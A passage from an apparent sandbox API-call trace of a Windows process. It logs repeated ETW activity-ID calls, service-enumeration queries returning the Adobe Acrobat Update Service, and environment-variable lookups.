ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.104] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.104] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x4f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.105] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.106] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.106] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.106] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.106] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.109] CoTaskMemFree (pv=0x744e580) [0097.109] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.109] CoTaskMemFree (pv=0x744e580) [0097.109] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.109] CoTaskMemFree (pv=0x744e580) [0097.109] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.109] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x50, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.109] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x52, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x52, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x52, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x52, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.110] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.111] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.111] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.111] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.111] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.114] CoTaskMemFree (pv=0x744e580) [0097.114] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.114] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.114] CoTaskMemFree (pv=0x744e580) [0097.114] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.114] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.114] CoTaskMemFree (pv=0x744e580) [0097.114] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.114] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.114] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x55, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x54, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x55, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x55, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x56, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x55, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x56, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x56, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.115] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.116] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.116] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.116] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.124] CoTaskMemFree (pv=0x744e580) [0097.124] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.124] CoTaskMemFree (pv=0x744e580) [0097.124] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.124] CoTaskMemFree (pv=0x744e580) [0097.124] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x58, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.124] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x56, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x58, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x58, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x59, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x58, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x59, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x59, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x59, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.125] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3296ec8 [0097.137] EnumServicesStatusW (in: hSCManager=0x3296ec8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.138] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.138] EnumServicesStatusW (in: hSCManager=0x3296ec8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.139] CoTaskMemFree (pv=0x744e580) [0097.139] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.139] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.139] CoTaskMemFree (pv=0x744e580) [0097.139] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.139] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.139] CoTaskMemFree (pv=0x744e580) [0097.140] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.140] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.140] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.140] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.140] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x5b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, 